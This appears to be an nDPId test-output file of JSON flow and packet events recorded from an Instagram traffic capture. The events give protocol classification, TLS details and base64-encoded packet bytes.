+00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":11,"flow_first_seen":1436720908466,"flow_last_seen":1436720910950,"flow_tot_l4_data_len":5023,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":456,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33763,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":49,"flow_first_seen":1436720952553,"flow_last_seen":1436720952593,"flow_tot_l4_data_len":37018,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":755,"midstream":1,"l3_proto":"ip4","src_ip":"2.22.236.51","dst_ip":"192.168.0.103","src_port":80,"dst_port":44151,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":49,"flow_first_seen":1436720952553,"flow_last_seen":1436720952593,"flow_tot_l4_data_len":37018,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":755,"midstream":1,"l3_proto":"ip4","src_ip":"2.22.236.51","dst_ip":"192.168.0.103","src_port":80,"dst_port":44151,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":81,"flow_first_seen":1436720900690,"flow_last_seen":1436720908566,"flow_tot_l4_data_len":50662,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":625,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.186","src_port":44379,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":12,"flow_first_seen":1436720906070,"flow_last_seen":1436720908431,"flow_tot_l4_data_len":5636,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":469,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.93.52","dst_ip":"192.168.0.103","src_port":443,"dst_port":33934,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":12,"flow_first_seen":1436720906070,"flow_last_seen":1436720908431,"flow_tot_l4_data_len":5636,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":469,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.93.52","dst_ip":"192.168.0.103","src_port":443,"dst_port":33934,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":10,"flow_first_seen":1436720908216,"flow_last_seen":1436720908432,"flow_tot_l4_data_len":4959,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":495,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33935,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":10,"flow_first_seen":1436720908216,"flow_last_seen":1436720908432,"flow_tot_l4_data_len":4959,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":495,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33935,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00532{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":68,"flow_first_seen":1436720898386,"flow_last_seen":1436720908442,"flow_tot_l4_data_len":43376,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":637,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33936,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"}} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":68,"flow_first_seen":1436720898386,"flow_last_seen":1436720908442,"flow_tot_l4_data_len":43376,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":637,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33936,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_first_seen":1436720908524,"flow_last_seen":1436720908575,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":55,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"8.8.8.8","src_port":33603,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00534{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":25,"flow_first_seen":1436720942507,"flow_last_seen":1436720942524,"flow_tot_l4_data_len":22675,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":907,"midstream":1,"l3_proto":"ip4","src_ip":"92.122.48.138","dst_ip":"192.168.0.103","src_port":80,"dst_port":41562,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":25,"flow_first_seen":1436720942507,"flow_last_seen":1436720942524,"flow_tot_l4_data_len":22675,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":907,"midstream":1,"l3_proto":"ip4","src_ip":"92.122.48.138","dst_ip":"192.168.0.103","src_port":80,"dst_port":41562,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1568796253770,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49355,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":770116,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGAr7AqAIRHw1WNMDLAbuZigajAAAAALAC\/\/8cPAAAAgQFtAEDAwYBAQgKDXByoQAAAAAEAgAA"} +00439{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":782515,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAFQGLsIfDVY0wKgCEQG7wMv1rwrBmYoGpKASbHB3qgAAAgQFeAQCCAo6Lg6wDXByoQEDAwg="} +00427{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":784713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDLAbuZigak9a8KwoAQCAwKkgAAAQEICg1wcq86Lg6w"} +00728{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":784771,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xiwDYGpkxGGLNYKpCABFAAESAABAAEAGAezAqAIRHw1WNMDLAbuZigak9a8KwoAYCAzr2wAAAQEICg1wcq86Lg6wFgMBANkBAADVAwMjksyrSJEnHCj7+pBcrNa+PodYLpB74VGVqR+HKhs0GiApLypFPPq32Fv9\/MlD5ecljmzHmnbSZyDhqsHB+Vrs\/QAGEwETAhMDAQAAhgArAAUEAwT7GgAKAAYABAAdABcAMwAmACQAHQAgnrlXRF005fDXmdLGrmWHWUR+fUpyzgm8LYNWZJbzAl8ADQAGAAQEAwgEAAAAJQAjAAAgc2NvbnRlbnQtbXhwMS0xLmNkbmluc3RhZ3JhbS5jb20AEAALAAkIaHR0cC8xLjEALQADAgEA"} +00797{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":748,"source":"instagram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1568796253770,"flow_last_seen":1568796253784,"flow_tot_l4_data_len":370,"flow_min_l4_data_len":32,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49355,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"7a29c223fb122ec64d10f0a159e07996","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +00427{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":797139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0cqAAAFQGvCkfDVY0wKgCEQG7wMv1rwrCmYoHgoAQAHERQAAAAQEICjouDr8NcHKv"} +02311{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":750,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":798864,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgcqEAAFQGtrwfDVY0wKgCEQG7wMv1rwrCmYoHgoAQAHED5AAAAQEICjouDsANcHKvFgMDAHoCAAB2AwMcJI2xx4cWokZluv84WsY7ADZVP91TCqw9GGWi+iSsPCApLypFPPq32Fv9\/MlD5ecljmzHmnbSZyDhqsHB+Vrs\/RMBAAAuACsAAvsaADMAJAAdACCIK0PZEKNS2VwSbvcg63nBheMilGcFjfIhswVFA2L8GRQDAwABARcDAwP5\/2wVMoJWhQm4bPGHA53ffXJhK5F8\/MVW7mPPRZjvMBClsA6iUeo4rAIibRJqAoD2vmvduRE+hCwPZPqHorQSUuzd14dVHbhVDsjHVSGXfNihBsVABbO6xWYjmRRN8KbbQHHEC0nmiJz\/IGqL+hUDWz5aJ9tEuKUdkVnzDxjSUYFOOm+3JMgQYGn81KST0UJnerg4cgnxRHjFwM7UcwJL3k0SJfNt0ZPwNM0Ipkp8F2O3j46E91KJCBmAW58usLNwld3S\/ulBlws25s8Ckg3wlXo1K8c3Wf74KSX6ATSfLRXkZR\/aXuOviaCCljTXOmoupATep1CjIDA2\/eoizy25qMZ7PfbjGmjnMs3FQ+r8BxwkwcwzD51hqWW7weUqksWdDH\/MLRCfWLCv8dueuEkDbC1gHqnBnXxrprpy55CElbCJQSKVN71bkytPZCaDiBuFTm\/kZs8nD8W+Cf7tiscIfjTdaZzXU9I+ZHl3jxjWHVuwBMLuS+ip3kTLVhT69c59rSBf8GoQ\/LyVO+uyGJq4IgNwYsQI1uic\/uznubn6EsCteXMTWNDd4MKt9Fgxezjw1wc8nuQbqOE1WflN9+hpeinF72EM1JcOeHYHXW3N0CUSbXhjF+EkrkdSzVvRL2bUuGCbIYqulbmUMv5pZ3oZLsZ69kMpCjbeRBLDoSYFDGjFHAK7P4TFVK7NLk5HvjD6a+pnX0eOM2NFgMJIs+ae2nRm0ERAzifP5gM30Y8jx0qLlHx2O4X424fRsolNa6y+zFTLdVU3jaxaqPTLfe5r5J8\/A92nPtAsoDqw0CqAvWf\/yF25ErfM5xC1tUQvL73Dq7zRp76gLncah8xB9FqApFdSx1A9YeC3+9szU7zbmDyA1QwQuuOF\/jj73OnPIsG++qNt\/J4h6gqzQXYOYiQgtCrWU73L+84inVqEO6NoyOx2zU2ee1l4i364WuiB9yrd+O8LZ5cweIHMy4wFWJIURvMoYPl4LUDQLSnex6c31+l4jzomaH8k21No7lj6iXF0Pvhy3s+A7NgS9hFS4LaKV92zcMP1IdPGwE4EgXNVey2ojcMvRZL0zpJwdrif1gR+\/MMegUyRUVRP\/w+fuOVfT+gBzZiPUCGsXmiucvBBtH7YpxXEyOrtZ+vlAkX16M1YuZXl1zZT+WFUbILtSMxuAPJmCWZf2cDv6Z0oHT+Rpo\/vkLlcZCuRtnFgl7houh3OSJ3A7ETK\/URgzCsygA2UUs3gI3M\/TRjDgL+8B5blLTMPMTubi4I4HmD8CgM7w\/fSHEtRkYhi0TYek+pjbbGEDAg8SCkOl5bN6jtY+8WWc7CV6bAWmqU94g65op3OmGMxgfwahVGDvJsCFwMDBe1vYAU\/g4MB+2umQan36FAVVGK28AZQsq1v6R8BlPNyWrvt2WIEJQQEJPkwYw656ILZxU2gXKy\/0LpEHKBuU4x\/ymeZmHUpxROEaniqfAOoNQDpzv2p5ypIZZgRGJFf4d+nAtZw62LtYjey3B312afq3k1QJ+A1vUvbOZn9IhR6s0oyg6Vl1mm5bmnP8ZFklUxrUhmnbHtKrQFB0+xMd3di6SdrSJC3PkCCMNpJUYl0AawCPx7PIVn1cIyfUEIsSYFzvcRml39Tkq5S13LRPyNQXGbkjQf6\/gFzpIezdDyXcLOMdMI="} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":750,"source":"instagram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1568796253770,"flow_last_seen":1568796253798,"flow_tot_l4_data_len":1822,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":303,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49355,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"7a29c223fb122ec64d10f0a159e07996","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +02316{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":798890,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgcqIAAFQGtrsfDVY0wKgCEQG7wMv1rxAumYoHgoAQAHEdWAAAAQEICjouDsANcHKvg\/yJUZRN7QIOWSkcaxBUddVxwBTIY5nli3udicpNeHrH\/g1unJX2MoGNQ44WF\/UQZVSsIKbD8IXys3eBcExdJ4A4IcLPS905YlmIKGj1j2ZS4D9+CbkMBJQpW1HMC3IwxXmAlS\/l1F1cUoRtLP+3qygq2Q2Vyz7gx+CgMUeD1gZy+PvwsEEdVrTJczdJg2Lx7RFtYFB06Y+aU4x9g2NsIlt7hNgPMY6iIwD5zV4R2GDA\/4oLDfFYgUSEe\/qoshg\/5HDX5+tHB4rNeWT3mxLZZ9ZxDpyV91cZApNUwCjy86R0drLbPPStTpFGsu7o4V0pItMA6P1F31zKsV5GJlPODPEP3HtkWXiCpdPMaXlAi5q47My5Q6qAVR4JCMsKQ\/lj7nKPWT144JMTZdJj1Pxke+zwQoX9tXx6i7CP+i4I7JFo\/Y5zdDKMFGxBUMrvzodoAgilKjFPYoCFhqcMbgRbg1FX3qqphRNK4prF+YqTTfspGJ8ff9T4V2Lb14HQlC7Kyk2PjUH9lzS7bj3fSJEaQutze2IUQ\/2j6zIKgALb4FayW\/oDsi6uLyCwSbzUkal4v4TiUnK58fbZ0ZeWxBtz2WanXNAkyUO4oORXeIG5+aFScAY97tPY0tNvpHHx4U6kM0h7svNpmLqoFfTL0g0YKTOUsY3eD0\/COd0LQ4Py6sbpKqMZDU8lXAF9DdeDGVkApXroF5m9DluSrqsZ3VC\/jhs+LQwKSQ06ye0L4UsV2bnNadRPMmTHphmO++HR4VduY5gBtdq+1DYagaOj9IBPP+ThoioLeeN\/\/R+SuPORcU7lw7G6niSrx6PN9QpO4SqRiYZ2jwWJle2DgIl24LXu\/50fuJ3ftETL\/TSnAXATW600MQVzQHZzm2sByXmSSod+SecJyJ88L0msYymQyXM0z71kXIUKfTkkuF+L9Onsa7+oGs9ete1hGClR1i9PbfRTTgnEB34my+HJX4TL0+fpjIGtnKtAlD2fMtz91p7xGmoAjao0re6KA7Qe7xecWecqTK\/ZaC+7HbRUGN8KbX158ua4QoTAVsLMIvA8\/rmwz1z\/d\/85aamN0AFttfGKvtMYDiA0L+0uphHcpz2nkScjeqeKlgxgwehfEYzcwyeTMpo8hEh1ljd\/td+ADr7PGYPu+epOC4yEmwsYwB4VYVFFXX4AsEv87ZfSiTkiMedX1gt5Lg+Lump62kj3e2xOZbsYVyzsuOhiqeWbDm5XOAL08LbE6jzfKCViP1ysCMWYh7L57HO488ACXxZ\/t11ILxOWufpp8iSTC\/xy0gYxabMNnek4hK\/3hw6i5124NZl0UtrUHU6efAecWAsET+cnFHZpVczqaYKgeIdV195JwA7v93UQdhKr3ztrkPAIksSj6SPc\/ljwMUgjVFaSEisqVwf6YLuNfhjAoE3gz06bMB4uEKch8xxj8FokEefPlHjtZyiqKrCShuDZdY9uJwVWbxUX3pdCFZlNY\/2XN7uarDdPt2wxVYt\/0ZMzA+OuHfyjfUC5XDz0JXJvK9If2SgrGKqNNXcFU3bKnfYmXFMxVepcEuELXo\/6zJ0w4+xeZE2vaZqrO0RaaGNX8pNw5ER6yXPbA92hbub+5DvHD3riziCA0N4NFVdWVYeHKUh4DZa+JivcpYY6lM4NXqtoFcYh1u90Ai0iNBlntN6WlAWHSkF2I5SJIptcH6VMAegReVqvMxajIqXki+NsVQcXAwMBje1mKFpkrKxK\/\/+uM8Zoftaj1I4GwHXtddSYcuPQKtFTt2voIfb7Px5vpqPr3hWErBbf9AHCwwjQHPGGCHbgv85qkmYQVP0eBQalqLiijOf7LkCJcaIWPQvaV0Epv9g="} +00841{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":798897,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"xGGLNYKpxiwDYGpkCABFAAFjcqMAAFQGuvcfDVY0wKgCEQG7wMv1rxWamYoHgoAYAHEoRQAAAQEICjouDsANcHKvRXSJKcKjyPsVwJykOPMeDjybZnSthmDahKSEMsNrt5rmi6rVPF3EFgs9fvNAZYYpbE9NDN1Q5fgZu8DlGpYd010R6hsblTygK0rzqbHNCtkfR7pymdY05zkUrEMAYJDueS7Y\/4HUZSJlAnM35Tg4\/OXnkwjeEtQ6NfnJScU9UYGBD7Brt7RThKDLlINw2qLSEzi1dKLTlDky7BefubXUUsJSuAYu9uFbKGnZr\/\/Va9mYTQkf+3ErYcnqq6y4akqHUbBAVmadYIV4t95SUthzLYswBPtZv7SVjb62vdB6c6ANdao3UncLlPUe4II6e4TNif\/wamux\/IlJeo4KE98vPEfRlSd51er6b4hnmMhWEh5O04xcpiFm2uZQeR\/XQqoinF9aX3KKFxG5FtCv7Mw3"} +00427{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":801531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDLAbuZigeC9a8VmoAQB+r+3QAAAQEICg1wcr86Lg7A"} +00428{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":801589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDLAbuZigeC9a8WyYAQB+X9swAAAQEICg1wcr86Lg7A"} +00518{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":803633,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkxGGLNYKpCABFAAB0AABAAEAGAorAqAIRHw1WNMDLAbuZigeC9a8WyYAYCADGygAAAQEICg1wcsI6Lg7AFAMDAAEBFwMDADUSrfpYLxSMQDqWk+4CZkr2cuITAuXhhfVRFONpgBX+k3YAhslfXkBfWKoOwHDajRqcxLADpA=="} +01106{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":804131,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"xiwDYGpkxGGLNYKpCABFAAImAABAAEAGANjAqAIRHw1WNMDLAbuZigfC9a8WyYAYCADA8wAAAQEICg1wcsI6Lg7AFwMDAe3NVZz2bp4Yz1k7\/qMMxcWk8D9vfSGbFGBOnjhyUgpjgsbH8+3uncF90BEPF6CO\/QxHvV4ftH3HmL1bNRa7wYAxVCzj\/uoKpJPni5p\/g5aWIi+D5v7EJoRWPdxdy\/oVKJVhuMd9dKtQANDuz5rtrcrORWsZBScIgovyf8mLPt1Ww\/NA0pOMzs9E\/7IjroZQk6efXD2IwQsGydkJh0xgZ04cd4jAooNFnTh+83QrPmxWVJszffRTL8Ck0FiZjGrceRBkJ+JLUanpU24qTFGREhm0yy2qXgREnnCF9mbXte9BcFUXzaiaL\/fCjPlk\/CIHYnVdxT6yRfwKS135pCmilCGqkqjr11jk59WVzB9jmmkOU5veYg8f4wiUY0Cs2ovykLj4bNq8xg1W+UcJ8pwEgPRvSSbeRWt8f7yqc9zxMUkbHz9vpyWKERK6nJ3CFX331Fq4JK0QHTTzjTGWjo4fMjNH2+vdqk0Ym5FYNLI5YEoQANOwxyIOqGcAXui+Kj8DM2kdgUqE1W0WQ7psPoORzihiVenwJpTCJN0oBjflVEpdxq8lCVwLwCEK\/22V5G6nWkor0DW4xZ81ERAIfCLWEh0D7e7cVfL32qJ3ZUyeuBDqyMc\/ipslhYwLXM84eIOf2zBecVRMMmzp1h9yDSDQ"} +00693{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":815439,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"xGGLNYKpxiwDYGpkCABFAAD1cqQAAFQGu2QfDVY0wKgCEQG7wMv1rxbJmYoHwoAYAHHmCwAAAQEICjouDtENcHLCFwMDALyXCZVZsRVc5YD7osb7G+dT2TOnrp6oODK59iu8MDODlmtQdZEnuJ0n59ahbesAUOJFjNodqwBTOnUZZXsgY\/H+kmgEEI8o5u\/kK+qQDpPHjeMWeKbHaFg4Nr2391apmeNNJYhjbUf47SOnNVsEAOSdxyenXsfoyQcIyl5FWX4ZT6VuG5IY9NORSto5piFSkcKxjKjWJqRzxhmLUncRBc8uH5lX3SJfTWLDfLNOZbXs2Jemup6mWmZLPgR9VQ=="} +01289{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796253,"pkt_ts_usec":816162,"pkt_caplen":696,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":696,"pkt_l4_len":662,"pkt":"xGGLNYKpxiwDYGpkCABFAAKqcqUAAFQGua4fDVY0wKgCEQG7wMv1rxeKmYoJtIAYAHW8DgAAAQEICjouDtINcHLCFwMDAnEOs+EoxoLAj+4Jb7hCAolPgK1c6D82AWljmGdNvEXbZ2PyY9Hh2UXUhHLpzoZDsNQPx7jJt0zDPYryql8ck6vnhymqPw910npNiirL9BLegr+lS2wQangi3D6\/KV10f3VXjTqyzAXZiF55sH2aYzTMLW94oSwo44QyrxTJLdgQyfVgEFTwYxmjxed2HlRT\/UbWIEWDrotRHUtqUZYuP08uUt2av8OwQepftw289IGheQLlZ3inR4VQj5N7uQB0cSq9pLzEyMzeFUFdHQNs8e4agxRLKQ+SaAyPQWQv4YwCGVlL6lHqnjqqP0FLgT7za\/B6eA5qpQmOoUc6MPgXpIPV1idtgR3Kmci20Ql2gq0pzQeVKUOvqp3j6Sof4\/J9XNqYHFOEVYhysnbFlpcGlom\/n\/mAhaDhiInrpQLIqiDL5zNvoko82QOx3aKlWPm\/pSTywMa7Du92YlgCyhpQgxqakcbEV8B4UK+qczw8KmhKxUk\/KEbFi\/7ul7kFuZCGEl7gMLQcrSXIOiIq1+VeUEUffgECtU1BDIv9QRdU6pg7gFWDZdYdyEFAyBDsjntX3NVqdf7Pk8RM\/GZaI\/jjxLUANxsB4ATk\/Hu3zk1D86rGaxJHBx3V05y\/vZrsQtfdQRnePHdoZPX2aGcjfYc\/rSjYd+bSJgkQNIXVcwes7QAUt5Cs7tBmw5IpRdncia\/CZyHHgGX7srrxBQEt5K9sjmmW\/ByDadiKp9e6XFuUqL6UypJthH7GHEfTNBNLVBosnyqcZi91FrDcA745FBT6lv\/1I5uNluE1WMneDFXL\/13IL4sSSieJkRn9O8vT2d0vcYng"} 